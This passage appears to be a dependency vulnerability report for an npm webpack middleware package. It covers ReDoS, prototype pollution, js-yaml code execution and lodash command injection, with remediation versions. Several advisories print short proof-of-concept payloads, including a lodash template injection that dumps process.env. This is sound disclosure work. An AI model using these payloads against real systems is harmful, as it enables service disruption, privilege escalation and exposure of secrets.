The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ansi-regex to version 6.0.1, 5.0.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: immer
  • Introduced through: react-dev-utils@6.1.1

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 immer@1.7.2
    Remediation: Upgrade to react-dev-utils@11.0.3.

Overview

immer is a package that allows you to create your next immutable state by mutating the current one.

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade immer to version 8.0.1 or higher.

References

high severity

Arbitrary Code Execution

  • Vulnerable module: js-yaml
  • Introduced through: css-loader@0.26.4 and optimize-css-assets-webpack-plugin@3.2.0

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 js-yaml@3.7.0
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 js-yaml@3.7.0

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.

Remediation

Upgrade js-yaml to version 3.13.1 or higher.

References

high severity

Command Injection

  • Vulnerable module: lodash
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmlbuilder@4.0.0 lodash@3.10.1

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Command Injection via template.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmlbuilder@4.0.0 lodash@3.10.1

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

PoC by Snyk

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

For more information, check out our blog post

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.12 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmlbuilder@4.0.0 lodash@3.10.1

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the setWith and set functions.

PoC by awarau

  • Create a JS file with this contents:
    lod = require('lodash')
    lod.setWith({}, "__proto__[test]", "123")
    lod.set({}, "__proto__[test2]", "456")
    console.log(Object.prototype)
    
  • Execute it with node
  • Observe that test and test2 is now in the Object.prototype.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmlbuilder@4.0.0 lodash@3.10.1

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

high severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: nth-check
  • Introduced through: cssnano@4.1.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 cssnano@4.1.11 cssnano-preset-default@4.0.8 postcss-svgo@4.0.3 svgo@1.3.2 css-select@2.1.0 nth-check@1.0.2
    Remediation: Upgrade to cssnano@5.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? in RE_NTH_ELEMENT with quantified overlapping adjacency.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade nth-check to version 2.0.1 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: plist
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0

Overview

plist is a Mac OS X Plist parser/builder for Node.js and browsers

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks due to bundling a vulnerable version of the XMLBuilder package. This can cause an impact of about 10 seconds matching time for data 60 characters long.

Disclosure Timeline

  • Feb 5th, 2018 - Initial Disclosure to package owner
  • Feb 6th, 2018 - Initial Response from package owner
  • Mar 18th, 2018 - Fix issued
  • Apr 15th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade plist to version 3.0.1 or higher.

References

high severity
new

Prototype Pollution

  • Vulnerable module: set-value
  • Introduced through: http-proxy-middleware@0.19.2, webpack-dev-server@2.11.5 and others

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 http-proxy-middleware@0.19.2 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
